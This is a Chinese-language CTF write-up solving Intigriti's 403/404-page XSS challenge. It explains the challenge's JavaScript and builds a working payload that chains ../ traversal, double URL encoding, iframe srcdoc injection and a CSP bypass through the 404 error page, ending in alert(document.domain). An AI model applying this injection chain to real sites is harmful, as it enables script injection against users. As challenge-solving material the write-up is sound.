intigriti-403,404页面XSS挑战题解
丁满 CTF 13038浏览 · 2020-04-27 01:32

最近刷推特看到一个有趣的xss挑战,链接是:
https://twitter.com/intigriti/status/1249662911540350977
挑战地址:
https://challenge.intigriti.io/

0x00 题目介绍

首先大致介绍下题目后续利用会使用到的点和一些编码转换的地方
1. 主要Js代码:

var hash = document.location.hash.substr(1);
if(hash){
  displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
  if(e.target.value != "")
    displayReason(e.target.value);
}
function reasonLoaded () {
    var reason = document.getElementById("reason");
    reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
  window.location.hash = reason;
  var xhr = new XMLHttpRequest();
  xhr.addEventListener("load", reasonLoaded);
  xhr.open("GET",`./reasons/${reason}.txt`);
  xhr.send();
}

主要操作是将location.hash作为ajax的url去查找对应的txt,并且直接放入div id是reason 的innerHTML中。

2. 404页面
请求404页面返回content-type: text/html,但url编码后%会被过滤(气),不能直接xss

3. CSP规则:
此处使用的csp规则为default-src 'self' ,只允许加载与自身同源的js,不过绕过方式可以使用jsonp回调等进行绕过。

4. 403页面会进行html实体编码

0x01 xss构造流程

1. 页面构造出"<>"
首先注意到在js中会进行unescape。此处可结合403页面构造,403页面通过2次url编码后不进行html编码,也不会过滤 %

经过unescape之后会可以直接插入html中,如以下的html内容

但是注意此处ajax必须要访问/reasons/,而403页面是在/下面的的,此处需要通过../绕过

这样就可以构成页面注入内容。

2.Js执行
此处不可以直接注入<script>标签,原因是在html5对innerHTML的限制

此处可通过iframe的srcdoc进行绕过innerHTML的限制,本地测试js内容如下:

reason.innerHTML = unescape("<iframe srcdoc=\"<script src=./2.js></script>\"</iframe>");

其中2.js内容为alert(1)。打开后直接进行alert

3.CSP绕过
下一步是绕过csp,类似jsonp的回调绕过CSP,此处绕过的思路是结合404页面构造。此处闭合404内容即可,url如下:
https://challenge.intigriti.io/';alert(document.domain);'
返回结果如下:
404 - 'File "';alert(document.domain);'" was not found in this folder.'
并且可执行

去掉CSP本地测试下:

reason.innerHTML = unescape("<iframe srcdoc=\"<script src=https://challenge.intigriti.io/';alert(document.domain);'></script>\"</iframe>");

0x02 最终结果

最终构造xss的路径为:

  1. 通过../重定向请求url到/.ht_wsr.txt,构造403页面
  2. /.ht_wsr.txt后追加二次url编码的payload,经过服务端编码和unescape后输入在页面的innerHTML中
  3. 通过iframe的srcdoc解决innerHTML执行js问题
  4. 通过404页面的报错内容构造js内容,绕过CSP

最终payload:
https://challenge.intigriti.io/#../.ht_wsr.txt%253Ciframe%20srcdoc=%2522%253cscript%20src=/%27;alert(document.domain);%27%253E%253C%252fscript%253E%2522%253E

参考链接:
https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML
https://github.com/whatwg/html/issues/2300

2 条评论
某人
表情
可输入 255